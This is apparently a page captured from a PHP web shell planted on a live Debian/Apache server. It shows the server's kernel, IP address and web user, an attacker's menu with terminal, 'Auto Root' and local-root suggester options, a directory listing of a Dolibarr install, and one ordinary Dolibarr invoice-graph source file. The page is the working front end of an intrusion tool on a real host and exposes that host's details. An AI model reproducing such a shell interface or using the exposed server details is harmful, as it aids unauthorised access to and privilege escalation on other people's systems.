Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.35
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
html_old /
btm2000.bak /
core /
boxes /
Delete
Unzip
Name
Size
Permission
Date
Action
box_actions.php
9.05
KB
-rw-r--r--
2025-11-25 13:17
box_activity.php
18.16
KB
-rw-r--r--
2025-11-25 13:17
box_bookmarks.php
4.9
KB
-rw-r--r--
2025-11-25 13:17
box_clients.php
5.88
KB
-rw-r--r--
2025-11-25 13:17
box_commandes.php
7.58
KB
-rw-r--r--
2025-11-25 13:17
box_comptes.php
6.6
KB
-rw-r--r--
2025-11-25 13:17
box_contacts.php
5.92
KB
-rw-r--r--
2025-11-25 13:17
box_contracts.php
6.2
KB
-rw-r--r--
2025-11-25 13:17
box_external_rss.php
7.09
KB
-rw-r--r--
2025-11-25 13:17
box_factures.php
7.84
KB
-rw-r--r--
2025-11-25 13:17
box_factures_fourn.php
7.97
KB
-rw-r--r--
2025-11-25 13:17
box_factures_fourn_imp.php
7.19
KB
-rw-r--r--
2025-11-25 13:17
box_factures_imp.php
7.34
KB
-rw-r--r--
2025-11-25 13:17
box_ficheinter.php
4.87
KB
-rw-r--r--
2025-11-25 13:17
box_fournisseurs.php
5.5
KB
-rw-r--r--
2025-11-25 13:17
box_goodcustomers.php
5.42
KB
-rw-r--r--
2025-11-25 13:17
box_graph_invoices_permonth.php
9.51
KB
-rw-r--r--
2025-11-25 13:17
box_graph_invoices_supplier_permonth.php
9.56
KB
-rw-r--r--
2025-11-25 13:17
box_graph_orders_permonth.php
9.47
KB
-rw-r--r--
2025-11-25 13:17
box_graph_orders_supplier_permonth.php
9.53
KB
-rw-r--r--
2025-11-25 13:17
box_graph_product_distribution.php
14.6
KB
-rw-r--r--
2025-11-25 13:17
box_graph_propales_permonth.php
9.57
KB
-rw-r--r--
2025-11-25 13:17
box_last_modified_ticket.php
7.05
KB
-rw-r--r--
2025-11-25 13:17
box_last_ticket.php
7.21
KB
-rw-r--r--
2025-11-25 13:17
box_lastlogin.php
3.24
KB
-rw-r--r--
2025-11-25 13:17
box_members.php
5.79
KB
-rw-r--r--
2025-11-25 13:17
box_produits.php
8.16
KB
-rw-r--r--
2025-11-25 13:17
box_produits_alerte_stock.php
8.96
KB
-rw-r--r--
2025-11-25 13:17
box_project.php
6.92
KB
-rw-r--r--
2025-11-25 13:17
box_propales.php
6.94
KB
-rw-r--r--
2025-11-25 13:17
box_prospect.php
5.97
KB
-rw-r--r--
2025-11-25 13:17
box_services_contracts.php
7.73
KB
-rw-r--r--
2025-11-25 13:17
box_services_expired.php
5.79
KB
-rw-r--r--
2025-11-25 13:17
box_supplier_orders.php
6.79
KB
-rw-r--r--
2025-11-25 13:17
box_task.php
5.37
KB
-rw-r--r--
2025-11-25 13:17
index.html
0
B
-rw-r--r--
2025-11-25 13:17
modules_boxes.php
16.31
KB
-rw-r--r--
2025-11-25 13:17
Save
Rename
<?php /* Copyright (C) 2013 Laurent Destailleur <eldy@users.sourceforge.net> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ /** * \file htdocs/core/boxes/box_graph_invoices_permonth.php * \ingroup factures * \brief Box to show graph of invoices per month */ include_once DOL_DOCUMENT_ROOT.'/core/boxes/modules_boxes.php'; /** * Class to manage the box to show last invoices */ class box_graph_invoices_permonth extends ModeleBoxes { var $boxcode="invoicespermonth"; var $boximg="object_bill"; var $boxlabel="BoxCustomersInvoicesPerMonth"; var $depends = array("facture"); var $db; var $info_box_head = array(); var $info_box_contents = array(); /** * Constructor * * @param DoliDB $db Database handler * @param string $param More parameters */ function __construct($db,$param) { global $user; $this->db=$db; $this->hidden = ! ($user->rights->facture->lire); } /** * Load data into info_box_contents array to show array later. * * @param int $max Maximum number of records to load * @return void */ function loadBox($max=5) { global $conf, $user, $langs, $db; $this->max=$max; $refreshaction='refresh_'.$this->boxcode; //include_once DOL_DOCUMENT_ROOT.'/compta/facture/class/facture.class.php'; //$facturestatic=new Facture($db); $text = $langs->trans("BoxCustomersInvoicesPerMonth",$max); $this->info_box_head = array( 'text' => $text, 'limit'=> dol_strlen($text), 'graph'=> 1, 'sublink'=>'', 'subtext'=>$langs->trans("Filter"), 'subpicto'=>'filter.png', 'subclass'=>'linkobject boxfilter', 'target'=>'none' // Set '' to get target="_blank" ); $dir=''; // We don't need a path because image file will not be saved into disk $prefix=''; $socid=0; if ($user->societe_id) $socid=$user->societe_id; if (! $user->rights->societe->client->voir || $socid) $prefix.='private-'.$user->id.'-'; // If user has no permission to see all, output dir is specific to user if ($user->rights->facture->lire) { $mesg = ''; $param_year='DOLUSERCOOKIE_box_'.$this->boxcode.'_year'; $param_shownb='DOLUSERCOOKIE_box_'.$this->boxcode.'_shownb'; $param_showtot='DOLUSERCOOKIE_box_'.$this->boxcode.'_showtot'; include_once DOL_DOCUMENT_ROOT.'/core/class/dolgraph.class.php'; include_once DOL_DOCUMENT_ROOT.'/compta/facture/class/facturestats.class.php'; $autosetarray=preg_split("/[,;:]+/",GETPOST('DOL_AUTOSET_COOKIE')); if (in_array('DOLUSERCOOKIE_box_'.$this->boxcode,$autosetarray)) { $endyear=GETPOST($param_year,'int'); $shownb=GETPOST($param_shownb,'alpha'); $showtot=GETPOST($param_showtot,'alpha'); } else { $tmparray=json_decode($_COOKIE['DOLUSERCOOKIE_box_'.$this->boxcode],true); $endyear=$tmparray['year']; $shownb=$tmparray['shownb']; $showtot=$tmparray['showtot']; } if (empty($shownb) && empty($showtot)) { $shownb=1; $showtot=1; } $nowarray=dol_getdate(dol_now(),true); if (empty($endyear)) $endyear=$nowarray['year']; $startyear=$endyear-1; $mode='customer'; $WIDTH=(($shownb && $showtot) || ! empty($conf->dol_optimize_smallscreen))?'256':'320'; $HEIGHT='192'; $stats = new FactureStats($this->db, $socid, $mode, 0); // Build graphic number of object. $data = array(array('Lib',val1,val2,val3),...) if ($shownb) { $data1 = $stats->getNbByMonthWithPrevYear($endyear, $startyear, (GETPOST('action','aZ09')==$refreshaction?-1:(3600*24)), ($WIDTH<300?2:0)); $filenamenb = $dir."/".$prefix."invoicesnbinyear-".$endyear.".png"; if ($mode == 'customer') $fileurlnb = DOL_URL_ROOT.'/viewimage.php?modulepart=billstats&file=invoicesnbinyear-'.$endyear.'.png'; if ($mode == 'supplier') $fileurlnb = DOL_URL_ROOT.'/viewimage.php?modulepart=billstatssupplier&file=invoicessuppliernbinyear-'.$endyear.'.png'; $px1 = new DolGraph(); $mesg = $px1->isGraphKo(); if (! $mesg) { $langs->load("bills"); $px1->SetData($data1); unset($data1); $px1->SetPrecisionY(0); $i=$startyear;$legend=array(); while ($i <= $endyear) { $legend[]=$i; $i++; } $px1->SetLegend($legend); $px1->SetMaxValue($px1->GetCeilMaxValue()); $px1->SetWidth($WIDTH); $px1->SetHeight($HEIGHT); $px1->SetYLabel($langs->trans("NumberOfBills")); $px1->SetShading(3); $px1->SetHorizTickIncrement(1); $px1->SetPrecisionY(0); $px1->SetCssPrefix("cssboxes"); $px1->mode='depth'; $px1->SetTitle($langs->trans("NumberOfBillsByMonth")); $px1->draw($filenamenb,$fileurlnb); } } // Build graphic number of object. $data = array(array('Lib',val1,val2,val3),...) if ($showtot) { $data2 = $stats->getAmountByMonthWithPrevYear($endyear,$startyear,(GETPOST('action','aZ09')==$refreshaction?-1:(3600*24)), ($WIDTH<300?2:0)); $filenamenb = $dir."/".$prefix."invoicesamountinyear-".$endyear.".png"; if ($mode == 'customer') $fileurlnb = DOL_URL_ROOT.'/viewimage.php?modulepart=billstats&file=invoicesamountinyear-'.$endyear.'.png'; if ($mode == 'supplier') $fileurlnb = DOL_URL_ROOT.'/viewimage.php?modulepart=billstatssupplier&file=invoicessupplieramountinyear-'.$endyear.'.png'; $px2 = new DolGraph(); $mesg = $px2->isGraphKo(); if (! $mesg) { $langs->load("bills"); $px2->SetData($data2); unset($data2); $px2->SetPrecisionY(0); $i=$startyear;$legend=array(); while ($i <= $endyear) { $legend[]=$i; $i++; } $px2->SetLegend($legend); $px2->SetMaxValue($px2->GetCeilMaxValue()); $px2->SetWidth($WIDTH); $px2->SetHeight($HEIGHT); $px2->SetYLabel($langs->trans("AmountOfBillsHT")); $px2->SetShading(3); $px2->SetHorizTickIncrement(1); $px2->SetPrecisionY(0); $px2->SetCssPrefix("cssboxes"); $px2->mode='depth'; $px2->SetTitle($langs->trans("AmountOfBillsByMonthHT")); $px2->draw($filenamenb,$fileurlnb); } } if (empty($conf->use_javascript_ajax)) { $langs->load("errors"); $mesg=$langs->trans("WarningFeatureDisabledWithDisplayOptimizedForBlindNoJs"); } if (! $mesg) { $stringtoshow=''; $stringtoshow.='<script type="text/javascript" language="javascript"> jQuery(document).ready(function() { jQuery("#idsubimg'.$this->boxcode.'").click(function() { jQuery("#idfilter'.$this->boxcode.'").toggle(); }); }); </script>'; $stringtoshow.='<div class="center hideobject" id="idfilter'.$this->boxcode.'">'; // hideobject is to start hidden $stringtoshow.='<form class="flat formboxfilter" method="POST" action="'.$_SERVER["PHP_SELF"].'">'; $stringtoshow.='<input type="hidden" name="action" value="'.$refreshaction.'">'; $stringtoshow.='<input type="hidden" name="page_y" value="">'; $stringtoshow.='<input type="hidden" name="DOL_AUTOSET_COOKIE" value="DOLUSERCOOKIE_box_'.$this->boxcode.':year,shownb,showtot">'; $stringtoshow.='<input type="checkbox" name="'.$param_shownb.'"'.($shownb?' checked':'').'> '.$langs->trans("NumberOfBillsByMonth"); $stringtoshow.=' '; $stringtoshow.='<input type="checkbox" name="'.$param_showtot.'"'.($showtot?' checked':'').'> '.$langs->trans("AmountOfBillsByMonthHT"); $stringtoshow.='<br>'; $stringtoshow.=$langs->trans("Year").' <input class="flat" size="4" type="text" name="'.$param_year.'" value="'.$endyear.'">'; $stringtoshow.='<input class="reposition inline-block valigntextbottom" type="image" alt="'.$langs->trans("Refresh").'" src="'.img_picto($langs->trans("Refresh"),'refresh.png','','',1).'">'; $stringtoshow.='</form>'; $stringtoshow.='</div>'; if ($shownb && $showtot) { $stringtoshow.='<div class="fichecenter">'; $stringtoshow.='<div class="fichehalfleft">'; } if ($shownb) $stringtoshow.=$px1->show(); if ($shownb && $showtot) { $stringtoshow.='</div>'; $stringtoshow.='<div class="fichehalfright">'; } if ($showtot) $stringtoshow.=$px2->show(); if ($shownb && $showtot) { $stringtoshow.='</div>'; $stringtoshow.='</div>'; } $this->info_box_contents[0][0] = array('tr'=>'class="oddeven nohover"', 'td' => 'align="center" class="nohover"','textnoformat'=>$stringtoshow); } else { $this->info_box_contents[0][0] = array('tr'=>'class="oddeven nohover"', 'td' => 'align="left" class="nohover"', 'maxlength'=>500, 'text' => $mesg); } } else { $this->info_box_contents[0][0] = array( 'td' => 'align="left" class="nohover opacitymedium"', 'text' => $langs->trans("ReadPermissionNotAllowed") ); } } /** * Method to show box * * @param array $head Array with properties of box title * @param array $contents Array with properties of box lines * @param int $nooutput No print, only return string * @return string */ function showBox($head = null, $contents = null, $nooutput=0) { return parent::showBox($this->info_box_head, $this->info_box_contents, $nooutput); } }